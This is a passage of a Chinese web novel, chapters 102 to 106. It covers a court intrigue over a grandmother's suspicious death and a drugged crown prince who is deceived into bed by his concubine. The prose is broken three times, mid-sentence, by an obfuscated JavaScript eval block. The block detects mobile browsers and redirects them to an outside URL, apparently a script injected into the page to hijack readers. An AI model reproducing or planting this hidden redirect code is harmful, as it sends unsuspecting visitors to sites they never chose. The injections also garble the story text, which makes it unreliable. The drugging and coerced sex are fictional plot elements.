那么就是—— “桑老夫人晕厥之后,是桑怀盛将其抱上马车的!不出片刻,三位大夫便来了。”喻初晴的目光扫向站在一旁好像失了魂一样的桑怀盛。 她又问:“老夫人身边的两名嬷嬷,你们当时在做什么?” 怀疑是桑怀盛,但需要举证。 两个嬷嬷哭得厉害。 毕竟是伺候了几十年的主子,老夫人对她们还算好,情分总是有的。 更惨的是,老夫人**,以后她们怕是也没有活干了。 高门大户贵妇人身边的心腹,不可能再找到比这更好的活计,去了别人家,也不一定被信任! 二人被太子命人提了过来。 萧景明一个眼神,张太鑫审问:“将你们所知的情况说出来!” 其中一人道:“当时四公子把老夫人抱上了马车的时候,老奴没跟上去。后面四公子下来, 三位大夫也到了。老夫人最后的时刻,老奴全程没有接触过她!” 这是无法做伪证的。 围观群众多,太多目击证人了! 所以她说的是实话。 另一名嬷嬷则是道:“当时我帮着四公子扶老夫人,但四公子一把将我挥开。” 她撩开袖子,露出手肘上一个新的擦伤,道:“当时奴婢撞倒了车辕,撞破了手肘,这便是证据! 三位夫来了后,四公子才从马车上下来的!” 张太鑫得出结论:“所以,桑老夫人死亡之前,唯一一个接触过她的,只有桑四公子!” 所有人的目光,集中到了桑怀盛身上! 倘若导致老夫人窒息死亡的人,是桑怀盛,那他就是**祖母! 此行此举,人神共愤! 桑怀盛心乱如麻,神情恍惚,眼神飘忽不定,他不断咽口水。 情急之下,他脱口而出:“三个大夫在我之后上了马车,我怎么知道不是他们做的!” 出来做好事的三名大夫,顿时面色如土、纷纷跪下。 “太子殿下明鉴!请张大人明察秋毫,我与桑老夫人无冤无仇,与永安县主无冤无仇。今日之事,盖因家主人听说这边有人需要大夫,便命我出来相帮!纯属于出于医者仁心,绝无**可能啊!” “学生倒是正好在这旁观,一看桑老夫人晕厥,便回去取医箱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15446428|169417||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出来了!学生诊脉之时,桑老夫人已经气绝了!” “没错!学生与王兄、孙兄一同上的车,一上去我们立即发现,病人已经断气身亡了!” 喻初晴冷眼看着。 看吧! 她说什么来着? 白眼狼就不能救! 如果她亲自去,这屎盆子,是不是就牢牢拴在她脑门上、让她成为奇葩人类大赏的MVP、能进名人堂了? 白婉蓉被吓到了,抓住她的手,咽了咽口水,道:“晴晴,幸亏你没有踩他的坑,不然就要被他套住,百口莫辩了!” 知晓喻初晴会医术的人,都不由倒抽一口气。 是啊,如果喻初晴好心出手…… 后果不堪设想! 永安县主,险过剃头皮! 张太鑫啥都知道、啥也不说,深藏功与名。 当京兆府尹多年,他什么牛鬼蛇神没见过? 喻初晴拍了拍白婉蓉的手,安慰地说道:“对南阳侯府心善的事,我又不是没做过。我不需要任何感恩,但……他们一而再找我麻烦,还想过杀我呢!遇上这样的事,我留个心眼总是没错的!” 喻今歌气得很:“南阳侯府的人,真的是好心被当成驴肝肺!我还以为他们就指着我姐一个人薅呢!原来,无辜的路人,纯好心出来帮忙,都能被扣上屎盆子!” 他瞪视桑怀盛,眼里都是鄙夷:“杀害自己的祖母,也要嫁祸我姐。嫁祸我姐不成,就甩锅给路过的好心人!桑怀盛,你还是个人吗!” 听了他的话,不少人重重点头:是这个理儿! 这个时候,南阳侯府的马车过来了。 老夫人身故了这样的大事,不可能不通知其家里人。 来的是侯夫人,与桑怀安。 两人下来马车,便看到了眼前的局面。 侯夫人听到了喻今歌最后一段话,只觉得天都塌了! “我的天呐!” 她华丽丽的晕了过去! 现场有大夫,但他们没有一个人敢上前诊治的! 一次好心,换来了被泼一身屎,谁还敢做什么好心人? 桑怀安也觉得天塌了! 第102章 让晴晴订亲! 母亲是不顶事的,她已经晕过去了,桑怀安知道自己不能晕。 当然,好好的一个人,没病没痛的,不是想晕就能晕的! 他让随行嬷嬷把侯夫人扶回马车上照料,自己上前对太子行礼:“臣,参见太子殿下!” “你来得正好。”萧景明面无表情,看上去十分冷峻。 他指着桑怀盛,连个开场白都没有,直接道:“你弟弟桑怀盛,其一,涉嫌杀害祖母、致使桑老夫人窒息身亡。其二,企图嫁祸永安县主,其心可诛。这件案子,会交由大理寺审理!” 他对桑家人厌恶到了极点:“孤已经命人去大理寺,将命大理寺卿亲自督查此案。” 对桑怀安,他都不愿意多看一眼,冷厉地道:“南阳侯府一门净不干人事,想来尔等是根本没有把孤放在眼里,才会对孤的救命恩人一而再地刁难!孤容忍你们够久了,若此案属实,将会施行连坐惩处,你自己看着办!” 又转头吩咐:“明月,传孤口谕到国子监,将监生桑怀盛除名,无论此案是否石锤,延其子嗣三代,永不录用!” 可以说,这样的惩处对一向温和——老想一碗水端平的太子来说,已然相当狠了。 但喻初晴还是觉得:盛世的时候,若有这样一个君主,自当是仁君。而若一旦到了乱世,只怕就…… 但换一方面说,对他的拥趸来说,未必不是好事。 听了太子的话,对桑怀安来说,晴天霹雳莫过于此! 他愤然看向桑怀盛,怒斥道:“四弟,你岂能干出这等灭绝人性之事!你让我们怎么做?” 才刚和母亲说好多久,当时桑怀盛也在的。 结果一转头,桑怀盛就捅出这么大的篓子来! 萧景明才不管他们要如何如何,下令:“将桑怀盛缉拿,扭送大理寺!桑怀安,把你家祖母接回去,办身后事吧!” 桑怀安真的要气**。 老三在屋里混吃等死,爹、大哥在牢里,小弟正在进大牢的路上…… 祖母没了,母亲没用。 现在,偌大的南阳侯府,就只剩下他一个人支撑了! 遇上了这样能拖后腿、能闯祸的家人,他倒了八辈子的血霉! 不行! 他不能就这样下去! 他已经看到了太子的厌弃,喻初晴这个相处了十七年的妹妹也不会管他的,那他还有什么路可以走呢? 必须找新的路子! 他看向萧景明,拱手作揖:“殿下,祖母身故,还请太子殿下准许阿雪回娘家奔丧!” 名义上,桑雪是太子的侍妾。 实际上,她被禁足,类似于囚禁在太子府。 比囚禁好一些的是:不缺吃喝。 当着这么多百姓的面,萧景明不可能拒绝这种合理要求:“准了!” 太子做了收尾,大理寺的人来提**嫌疑犯。 桑怀盛方才一直傻乎乎的,处于六神无主的状态。 此时被抓住了,才开始挣扎,大声道:“不是我!我没有!我没做!太子殿下,我是冤枉的!” 无人理会。 大理寺的衙役把他的嘴堵住了。 太子下令让所有人散去。 喻初晴转头,仰头看着萧景明,问:“天色已晚,太子殿下用晚膳没有?” 虽说她动作已经很快了,但她还是认为,可以更快一些! 不能放桑雪这个隐患在后面,什么时候忘记了,搞不好会冷不丁被桑雪捅一刀。 那么,解决桑雪的最佳人选,就是太子殿下! “尚未。”萧景明眼角的余光下意识滑过喻家其他人。 他很是敏锐。 能感受到:喻家众人,除了喻尚武是太子亲卫营的一员外,其他人好似不是太欢迎他。 那他还偏要进门了:“初晴,孤都到你家门口了,用顿便饭,总是可以的吧?” 喻初晴失笑:“殿下专程过来为我解围,方才问您,自然是想请您入府小酌的。” 萧景明颔首:“那孤便恭敬不如从命了!” 他对喻初晴,是比较宽容的,没有摆任何储君威仪。 今天本是喻家人五日一聚的日子,他们虽然不是很欢迎萧景明参加自家的家宴,但喻初晴都出口相邀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15446429|169417||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了,加上人家太子也的确是来帮忙的,不可能拒之门外。 喻惊鸿便道:“太子殿下,请进!” 一行人进了县主府。 喻初晴、喻惊鸿与萧景明走在前头。 喻昔词则是扯了扯喻慕文的袖子,喻慕文会意,二人落在最后。 其他人都陪着进屋了,因为太子身边的随从比较多,两人走到另一旁的廊道下,避开所有人说话。 “太子殿下,对晴晴情有独钟。” 单刀直入。 喻昔词这话,听着是问,实际上是肯定句。 “嗯。”喻慕文颔首:“早看出来了,我也问过晴晴。不过她没那意思,应是太子单相思。” 即便如此,喻昔词也很不高兴:“如此下去,容易出祸端。” “我岂能不知。”喻慕文无奈地道:“一来,搭上太子的船,万一出偏差,晴晴很危险。不过这倒不是问题,对晴晴来说,最差的情况无非是跟我们撤离帝京,回祖籍去!” 他抬眸,与高大威猛的硬汉大哥严肃说道:“情爱之事,得不到、求不得,人容易发狂。上位者一旦发狂会做什么事,无法估量!” “这正是我担心的。”喻昔词蹙眉,很快就想出了主意:“尽快把南阳侯府弄了,我们先回一趟祖籍。沉淀数月之后,萧景明年满二十,他的婚事就拖不下去了!” 萧氏皇朝有规矩,皇家子弟年满二十必须婚配,萧景明也快了! 他们离开几个月后再回来,到时候萧景明就是有太子妃的忍了,他若想让永安县主做他的侧妃,那自然是辱没了救命恩人,御史台怕是会直参太子! “好。”喻慕文果断同意:“做好多手准备,我会跟国子监两位老师谈一下这件事,尤其是梁祭酒。此前怕有这种可能,我便四方打探过了,也跟老师探过口风。梁祭酒不愿意晴晴做太子妃,觉得太束缚晴晴了。” 梁祭酒德高望重,两朝元老,御史出身。 他如果发狂直谏太子,萧景明未必扛得住。 喻昔词颔首。 他深吸一口气,道:“还有一个好办法,让晴晴订亲!” 第103章 桑怀安:我同意了! 话是这么说,喻昔词也并不可能强行替喻初晴决定终身大事:“当然,得晴晴同意。” 喻慕文随之苦笑:“先不要说初晴有自己的主意,就算她不介意,又有谁能配得上她!?” 不是因为喻初晴是他们的亲妹妹,他才说这样话的。 属实是喻初晴太优秀了! 她属于是不动声色的优秀,初见温润没有棱角,其实性子九曲十八弯的,拐过任何一个弯,都能发现她更让人惊喜了! 喻昔词也是这么想的。 他深吸了一口气,想到喻初晴上次承认自己有相好的,他寻思着:是不是问问她,那个男的若是能成亲的,就赘回家里来得了! 当然,这事儿还得放后面解决。 当务之急是—— 达成喻初晴的目标:摘掉南阳侯府的匾额! 应该很快就能实现了! 二人回到大厅这边。 家宴,变成了招待太子的小宴。 太子主座,东面是喻初晴、喻尚武与喻今歌,西面则是喻惊鸿夫妇,留了两个座位给老大和老三。 “今日多谢太子殿下出面主持公道!”喻初晴举起酒杯,“初晴敬殿下一杯!” “初晴客气了。”萧景明很给面子,陪了一杯。 放下酒杯后,他说到今日的事:“幸亏你没有因为一时心善,出手给桑老夫人治病。否则这后果,当真是不堪设想!” “是。”喻初晴淡笑,道:“我在南阳侯府长大,过去五年又是我养着他们。一大家子时不时闹出点意外来,都是我收拾的。每一个人的品性如何,我最了解!今日发生这样的事,我就防着被反咬一口呢!” 听她这么说,萧景明看着她的眼神里,更是赞赏加爱慕了。 他说道:“南阳侯乃祖上跟随太祖皇帝打天下来的功勋,没有犯到谋逆类的罪,即便是父皇,也不得不给列祖列宗一个面子,留他一个封号。但……” 深吸了一口气,萧景明说道:“孤以为,并非要褫夺他的侯爵之位不可,只要南阳侯没有了,侯府自然就不存在了。你说是吗?” 他这人的手段,还是过于稳妥了。 “嗯。”喻初晴认可。 但她心里不是这么想的! 南阳侯还活着,她没有出手去弄死他,其实是想留他到后面,看着自己家破人亡是什么滋味! 时机到了,她会送他上路。 不是她狠,而是斩草不除根,春风吹又生! 喻慕文转头问:“殿下的意思,莫非是……” 如今他们都是自己人了,萧景明也不怕在他们的家宴上说这些:“南阳侯挨了二百杖责,先前也挨了五十。铁打的汉子,也可能熬不住。诸位以为如何?” 喻昔词抬眸,与喻慕文对视一眼。 所以,萧景明这是把他们当做他的拥趸,要当一条船上的人了? 但二人都不动声色。 喻慕文说道:“我们都看晴晴的。” 喻昔词问:“晴晴,你觉得如何?” “我认为……”喻初晴放下酒杯,道:“可以先留几日时间。” 就剩下桑怀安了。 以桑怀安的心性,很难保证狗急跳墙之下,他会干出什么事来。 她得想法子,先把桑怀安摁住。 毕竟,他确实有点脑子! 见她这么说,萧景明点点头:“也好,但孤认为,不能留太久了!” “当然。”喻初晴淡笑。 这边太子在县主府用膳,南阳侯府那边—— 桑怀安带回来一个横着的、一个抬着的。 侯夫人醒是醒来了,一路哭着回来,到府门口路都走不了,只能靠凉轿抬进门。 只能独自一人办后事,桑怀安赶紧把族上其他叔伯找来,忙得脚不着地。 桑氏族内帮他的不是没有,但大家都不是很情愿,并且还有一些没忍住要催债的。 “二公子啊,侯府如今闹成这样样子,前年借的三千两银子,是不是想法子还一下?你表弟年底娶媳妇,是要用上的!” 这是客气的。 不客气的是:“去年借的五千两,赶紧还了!不然,你们老太太也别想入土为安!” 桑怀安一个头十个大。 各处赔不是,各处周转。 最后只得从侯夫人那里要来了借债账本,跟侯夫人恳谈,让她先从嫁妆拿出来,给各家还个两成,先把眼前的难关过去再说。 不算账不知道,一算数方知: 好家伙! 这到底是借了多少哇? 十几户人家,这个两千那个五千,还有八千一万的,林林总总加起来,总计七万两! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15446430|169417||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一屁股债! 侯夫人的嫁妆总数都已经没这么多了。 桑怀安没有办法,只得做打算:“母亲,如今咱们家已经弄这个样子,必须另谋出路。” “还能谋什么出路?”侯夫人头疼欲裂。 又要从她的嫁妆里抠子儿,即便是每家先还两成,也相当于放她的血! 嫁给这种男人,没得过什么好,动辄打骂,没有半点尊重! 孩子生了一个又一个,却没一个贴心的,个个都想薅她那点嫁妆。 好不容易养了个女儿很能干,竟然是别人家的,被这群脑子有病的人赶走了! 初晴啊初晴! 初晴才是她人生中唯一的希望、唯一的温暖、唯一的光! 她怎么就没把初晴留下,任由这些混球欺负呢? “侯府……” 桑怀安想说,这么大的府邸卖掉,应该能换一些银子。 毕竟侯府所在的正阳大街,宅院的价格的确很高。 但又觉得这是根基,他便改口:“府中可还有什么值钱的东西,能变卖的都卖掉。家中奴仆能散的,也都散掉吧。” 他寻思着:“咱们还有些庄子、铺子,是吗?” 侯夫人猛地抬起头来:“你这是要把家都拆了吗?” “母亲!”桑怀安深吸一口气,道:“如今我们还有别的选择吗?按我的意思,咱们把侯府也卖了,另外挑一个小一些的宅子搬过去住。小宅子不需要这么多装饰,那这些东西也都可以变卖掉!儿子也是不想动用你的嫁妆了!” 侯夫人哼了一声:“不用,不也用了一大半了吗?” 桑怀安总不能说:最近我都没用了,都用的我自己的俸禄。 自己的母亲自己了解,说了指不定又要哭成什么样。 但最终,侯夫人还是顺了他的意思:“行,如今家里就你能拿主意了,你看着办吧!” 桑怀安松了一口气。 出来后,定了定心神,对身边长随说道:“你去回复那位,就说我同意了!” “是,公子。”长随应了,从后门出去了,身影隐于夜色中。 且说,太子从县主府出来。 宫门早已下钥,他不想劳动守门将,便回了太子府。 这是桑雪来了太子府后,第一次见太子回府! 第104章 送你去太子的床上! 桑雪知道,南阳侯府出了那么多事。 虽说她被禁足,但消息是不禁的,发生的所有事都有传到她这里来——即便侯府不送消息,太子府的人也都会告诉她,故意折磨她的心志! 她想回侯府看看——没怎么相处,感情是没什么感情的,她只是想知道,侯府还能成她的助力吗? 但她没有得到太子的许可,府中的这些人是不会让她出府的。 即便今日收到祖母过世的消息,她也只能等太子示下。 这不是她想要的生活! 过去十七年,她虽然生活在农家,但自由自在,有爹娘疼爱、有哥哥呵护、有弟弟照顾。 原本,她也没有生过任何不甘之心,过得挺安然的。 南阳侯府的人一来,得知自己本该是贵女出身,她的想法就不一样了! 本该是天之骄女的她,竟然做了村姑十七年,她一瞬间绷不住了。 然而,回到侯府的日子,也没有她想的那么好。 除了第一天大家都给她送了不少好东西,后来就没有了。 头几天,祖母、父母、哥哥弟弟,也都对她还行,可好景不长,要不了几天他们就不太管她了。 比不上喻家人对她十分之一的好! 于是,她想到了婚嫁。 国子监那么多青年才俊,随便找一个婚配,她都可能过上好日子。 但,要命的是:在温文尔雅的太子与器宇轩昂的逍王面前,那些才子黯然失色。 桑怀安给她出主意,让她去勾搭太子。 南阳侯嫡女,是有资格做太子妃——即便不能,做个侧妃也行! 她心动了! 岂料,事情却成了最后的样子,她只做了个侍妾。 一只,笼中鸟! 她连太子的面都见不到! 而今夜,太子回来了! 她想到了那一日,二哥桑怀安给了她一包药,说是放在茶水或者汤水里,便能…… 前院。 萧景明在县主府,跟众人喝了一点酒。 量不大,微醺。 但他生性喜洁,一身酒气不得劲儿,回来便要沐浴。 “你们都下去吧。” 他泡进了浴桶里,温热的水使人昏昏欲睡。 萧景明闭着眼睛,在思考一个问题—— 喻家人看起来有些清冷,感觉都不太好接近。 尤其是,他们好像不太喜欢他跟初晴走得近? 就只差把拉开距离写在脸上了! 即便喻尚武在太子亲卫营里,他见得多,但喻尚武是个不爱说话的,也不是很好做切入点。 不,这些都不是重点。 重点是喻初晴自己! 她是一个胸有沟壑、腹藏乾坤的女子,别说其他女子比不上她,就是她那几个出色的兄长,都未必能与她一拼。 如此女子,是最好的太子妃人选! 未来他登基后,一国之母、一朝皇后,非她莫属! 可正因如此,她不好攻陷。 荣华富贵引诱不了她,男女情爱方面她极度理智,几乎没有弱点。 那么,他到底要怎么样才能走进她的心里呢? 他知道:不能用强娶的方式。 他想要她的心,而不是让她怨恨自己。 这般有谋算的女子,一旦她怨恨了他,他的命也就活不长了——参考南阳侯府这群傻子! 但—— 她明显对他没有半点倾慕,这又当如何? 萧景明满脑子都是喻初晴,泡完澡后换了一身里衣,回到房里的时候还在想。 喻初晴自然是不折不扣的美人。 但她最吸引人的地方,并不是相貌,而是…… 无论何时、无论何地、无论面对何人、无论发生什么事,永远稳若泰山、胸有成竹的样子! 安全,可靠。 这种美丽,超越一切。 叫人欲罢不能,魂牵梦萦! 他迈步进了寝房,绕过屏风,下一瞬登时愣住:“初晴?” 萧景明震惊无比,仔细又看了一眼,确定是心心念念的人,便快步走过去:“初晴!” 床榻上的少女抬起头来,眸光莹莹地看着他,楚楚动人地喊道:“殿下。” 萧景明整个人都怔住了:“初晴,你怎么会在这儿?” “殿下,我等你等得好辛苦。” 少女身上仅着轻薄柔滑的绸缎里衣,她双臂攀附上萧景明的颈脖,含羞带怯地半低着头,轻声道:“良宵苦短,殿下为何不抱一抱我?” 萧景明脑子有点打结。 残存不多的理智告诉她:不,喻初晴不会这样! 但,不知道什么东西占据了他的内心与大脑,他猛地抱住眼前的女子! “初晴……” 夙愿达成,当朱唇迎上来的那一刹那,他情难自控,难以自抑地放开了一切束缚,纵情沉溺! 眼眸猩红的萧景明,完全没有发现,眼前的女子并非喻初晴,而是他的侍妾—— 桑雪! 桑雪听着他一口一个喊着初晴,原本还不敢相信。 但这是她唯一的机会,如果不赌这一把,她只有死路一条! 当时,听说太子回府的时候,她就想到了桑怀安给的药。 只要把药下给太子服下,让他宠幸自己,就有机会翻身了! 可她被关在后院,在府里尚且不能随意走动,如何到得了前院、如何进得了太子寝房、遑论把药给太子吃! 正当她心急如焚的时候,后窗忽然被打开,一道人影从窗外跳进来。 该人一身黑衣蒙面,连双手都包裹得紧紧的,只露出两只眼睛。 她吓了一大跳,正想喊人,对方眼疾手快地捂住她的嘴。 低沉的声音在她耳边响起:“现在有一个机会摆在你面前,你若愿意,我就送你去太子的床上。你若不愿,就留在这里等死!” 桑雪一惊。 自己心里就想着这件事,苦于没有门路,马上就有人送路子来了? 她问:“太子一看见是我,事情不可能成。那我要怎么做?” 蒙面人道:“简单,太子今夜中了虎狼猛药,他会产生幻觉。他的脑子里只会出现他喜欢的女子的模样来,任何出现在他面前的女人,都会被当成那个人!你只需要让他宠幸你,怀上他的孩子,后面的路都会有人给你铺好!” 桑雪又问:“太子喜欢谁?” 蒙面人:“喻初晴!” 桑雪心口一跳。 想到太子一直站在喻初晴那边帮喻初晴,她想不信都难。 总之,这件事,是真成了! 太子殿下他竟然爱慕喻初晴! 桑雪心里气得要死,指甲掐进了萧景明的后背,忍耐了处子之身被破的痛楚…… 次日天亮。 萧景明醒来的时候,感觉耳边有另一道呼吸。 他猛然惊醒! 第105章 好像听到了喻尚武的声音 萧景明万万没想到,一觉醒来,天塌了! 他身边竟然躺着一个女人! 身为储君被太多眼睛盯着,他一向严于律己、洁身自好,便是不想给任何人有可趁之机。 表面上兄友弟恭,谁知背地里那些兄弟是不是个个都想干掉他,取代他成为新上位的储君! 为此,他身边的宫娥都很少。 就春兰秋菊夏荷冬梅四大宫女,还全都是他的生母苏皇后亲自培养,送过来的可靠人手。 而东宫也好、太子府也罢,所有人都经过了严格筛选。 正常情况下,是不会出错的。 他认真回忆,昨夜到底发生了什么—— 事发之时他是迷迷糊糊的,将眼前出现的女人当成了喻初晴! 若是真的喻初晴,不会主动投怀送抱,他大概也能把持住。 可他如何顶得住心悦的女子那般主动?!! 而此时此刻,事情已经发生了,他对昨晚发生的一切认知清晰: 他中药了,真睡了桑雪! “春兰秋菊进来!” 萧景明越想越气,猛地将桑雪推倒在地,叫人进来。 桑雪睡得迷迷瞪瞪,被推下了床榻,滚落到了脚踏上,脑袋“咚”地一声,撞上了床脚。 痛得她醒过来。 “殿下!” 瞧清楚眼前面色漆黑的太子爷,她扑通跪了下去:“妾身该死,求殿下恕罪!” 旋即露出茫然之色:“我……我怎么会在这里?昨晚……昨晚发生了什么事?” “你还敢在孤面前装傻!”萧景明急匆匆将衣裳穿好,一脚朝桑雪胸口踹了过去,将她踹在了一旁。 桑雪只穿着单薄的中衣,心口被踹得生疼,瘫倒在地! 她慌忙跪下求饶:“殿下饶命!妾身什么都不知道啊!” 这时候,春兰秋菊进来了。 看到本不该出现在这里的桑雪,两人都面如土色,齐刷刷跪了下去:“奴婢失职,奴婢该死,请殿下治罪!” 这才是认罪的正确打开方式。 “这个女人是怎么进来的?”萧景明怒斥道:“太子府,孤的寝殿内,她如何越过你们的眼睛来到这里!” 春兰秋菊也不知道是怎么回事啊。 秋菊鼻子动了动,发现有哪里不对劲:“殿下,屋里的熏香不太对,不是奴婢昨夜调的!” 她顾不上跪,立即去香炉那边查看。 打开香炉盖子,将里面残余的香味往鼻尖扇了扇,又拿着杆子在香灰里拨了一下,找到了一小块没有烧完的香料。 她脸色剧变。 回过身来,秋菊将那半个指甲盖大小的香料捧在手心,重新跪下,双手举过头顶呈上,道:“殿下,昨夜的香炉是奴婢亲手打的香篆,确定没有这块香料!” 萧景明知道秋菊是擅长调香的,盯着那小小的东西,问:“这是什么东西?” 秋菊应答:“回殿下,这不仅仅是助兴药物,还藏了迷魂香!除了能让闻香之人情动,还能让对方产生幻觉,将所遇上的任何一个女子,当成自己心悦之人!” 说完这话,她都觉得自己要完了。 萧景明的脸色更难看。 他就说,自己并非贪色之人,怎么可能会跟桑雪这种下作之人贪欢?!!! 他心有所属,对其他女人根本不感兴趣。 何况,昨夜他甚至还纵谷欠了! 既然不是宫女的问题,那就是侍卫的失职了! 萧景明勃然大怒:“明月清风!” 两名近卫进来了:“殿下!” 太子一贯待人温和,身边的人从来没见他这样生气过。 萧景明气得随手将桌上的茶壶薅在手里,狠狠一摔! “昨夜的守卫,是谁!有人潜入了太子府,竟然悄无声息、尔等都是饭桶吗!” 为何这样说? 自然是桑雪一人的能力,绝无可能做成这件事! 茶壶应声而碎,碎成了数不清的碎片,其中一片飞起,弹到了桑雪的脸上。 白嫩水灵的脸,瞬间多了一道血痕! 她痛得惊呼一声,旋即发现太子吃人一般的目光盯住了自己,当即捂住嘴巴。 这时候她才知道害怕! 但她还是要给自己争取一线生机—— 昨夜来之前,那个黑衣人都给她出好主意了。 她趴在地上,哭着道:“殿下,妾身真不知道发生了什么事!昨夜本在屋里睡得好好的,忽然有一阵风拂过,妾身便晕了过去。再醒来就已经在太子殿下这里了!” “太子殿下要妾身伺候,妾身岂敢不从?” “但……但妾身也中了药,亦是浑浑噩噩的。真的什么都不知情啊!” “殿下……”她哭得泪水大颗大颗地掉,仰起头看向萧景明:“我一介弱女子,又被殿下禁足在长胜院内,门都出不得,又如何进得了守卫森严、满满都是太子亲卫的前院?又如何躲过两位姑姑的眼睛、躲过殿下随身侍卫的眼线?” 她甚至提到了上次在国子监发生的事:“妾身怀疑,这一次的事,与上次的事,是同一个人做的!” 萧景明站着,她跪着,仰视着他。 从这个角度看,她的眼里全都是他,仿佛他就是她的天。 一双大眼睛饱含泪水。 不得不说,桑雪的确是有几分姿色的。 换个心志不坚的男人,或许就会为她所动! 但! 萧景明不爱这款! 他不喜欢这种小鸟依人、我见犹怜、梨花带雨的女人。 喜欢的是喻初晴那般——外温内刚,谈笑间樯橹灰飞烟灭的气势! 喻初晴啊,她脸上总是笑吟吟的。 天塌下来不形于色,淡定自若、从容不迫,四两拨千斤地将问题化解。 几次宫宴见她,早便心慕了! 而那一日,他遇刺中了毒箭,她的出现挽救了他的性命。 等死的那一瞬间,她出现了,他就知道自己彻底沦陷了! 再之后,看着她解决南阳侯府的桩桩件件,哪一样不让他心动莫名、魂牵梦萦? 跟喻初晴比起来,桑雪算什么东西! 桑雪,连喻初晴的一点指甲灰都比不上! “你们……”他眸光扫过春兰秋菊,与明月清风,道:“当真是没有丝毫察觉?” 明月清风二人的脸色也是极为难看。 清风道:“昨夜未曾发现有任何风吹草动,如有,必定早已禀报殿下了!” 他这话,不仅仅是他与明月二人。 还有暗卫! 太子身边的暗卫都没发现,有人神不知鬼不觉地进来,将迷情的香料丢进了香炉中。 更甚者,把桑雪这么一个大活人送进来,太子亲卫竟然毫无察觉。 值夜的宫女,想来也是被迷晕了。 所有人心里都宛如压着一块沉重巨石! 倘使对方的目的是想杀死太子,岂非昨夜就能得手? 这时候,新的一般太子亲卫前来换岗了。 萧景明好像听到了喻尚武的声音。 第106章 笨蛋美人他不笨 他脸色猛地一变,也不知道处于什么心思,立刻道:“将这个女人拉下去,锁在她的院子里。没有孤的旨意,房门都不准出!” “是!”春兰打算上前去拉人。 不想,萧景明却道:“明月,你把她送走,从侧门出去,避开外头的人!” 明月不明所以,还是完全听从太子的命令:“是!” 桑雪被明月用被单包裹,拎走了。 萧景明又道:“清风,将此事彻查一遍,究竟是哪个关卡出了差错!如不然,难道孤以后日日都要提心吊胆过吗!” 稀里糊涂睡了个女人的事,已经不是最可怕的。 一个女人而已,桑雪这种人,不过是个玩物罢了。 更可怕的是—— 太子的安危问题! 清风肃整了神色,道:“是!属下即刻去查!” 下了一连串的命令后,萧景明捏了捏发疼的太阳穴,道:“秋菊,去给孤调药浴。孤要泡浴!” 太子寝殿外面。 喻尚武扛着铁锤,跟夜班的太子亲卫交接完毕,便把腰牌挂在腰间,杵着大铁锤站在外面。 其他太子亲卫不是佩刀就是佩剑,他是唯一一个武器是佩铁锤的。 但没办法,也只有他是太子亲自点来的人。 当然,太子亲卫里的这群人,几乎都没有见识过他的本事——日常操练的时候,他就是挥舞着那只铁锤,跟玩儿似的。 他们邀请他切磋,他也都是拒绝的。 有人不服。 觉得喻尚武长得漂亮,跟个小白脸似的。 男人要的是英武、武人要的是硬汉,要什么漂亮! 只不过,在太子亲卫营里,不服不会表露出来,都会藏在心里。 当春风从寝殿内出来,命人:“点一队人,跟我走!” 喻尚武理所当然被“举荐”了。 他们没听到寝殿里说什么,却听到了太子砸东西的声音,此时一看清风的脸色就知道没好事,谁也不想去顶锅。 于是,萧景明并不想让喻尚武知道发生了什么事的,喻尚武他…… 知道了! “什么?”锤子美人瞪着一双美眸,看着清风:“清风统领,你是说昨夜……桑雪是在殿下的寝殿里过的?” 说得相当隐晦了。 确切说:桑雪昨晚终于爬上太子的床了? 清风瞪他一眼:“这件事殿下不想声张,你小声点儿!现在,殿下的安危最重要,先排查一遍,看看是不是有内鬼!” 喻尚武:“……” 他眨了眨眼睛,说了句很中肯的话:“要我说,桑雪没有这个本事。” “对!”清风没好气地道:“所以,殿下的安全受到威胁了,你我都有责任!不揪出这个内鬼,你我都要完蛋!” 喻尚武挑眉。 心想:你完蛋我不完蛋。大不了不考武举了,我跟大哥回家继承家业!再不济,给我妹子当保镖不也一样可行? 他把事情经过问了一遍。 得知桑雪的口供是:她毫不知情、是被人送来的,他一口咬定:“被人送来的,这句话是真的。不知情……不见得吧!” 笨蛋美人,是要看拿谁当参照物的。 跟孪生弟弟喻慕文比,他就是个笨蛋。 但跟桑雪比,他还是挺聪明的! 清风突然想起来:“这桑雪夫人,做过你十七年的妹妹?” “是。”提到这件事,喻大美人的脸色很臭:“别提这事儿,晦气!” 顿了顿,又雨过天晴了:“还好她不是我亲妹,我亲妹子晴晴,是个美丽、聪明、优秀的姑娘!万幸!” 清风:“……” 没心情跟你掰扯永安县主有多好——难道我还不知道永安县主好么?连殿下都爱慕她! 但现在…… 殿下宠幸了与喻初晴对立的桑雪! 这件事怎么交代得过去? 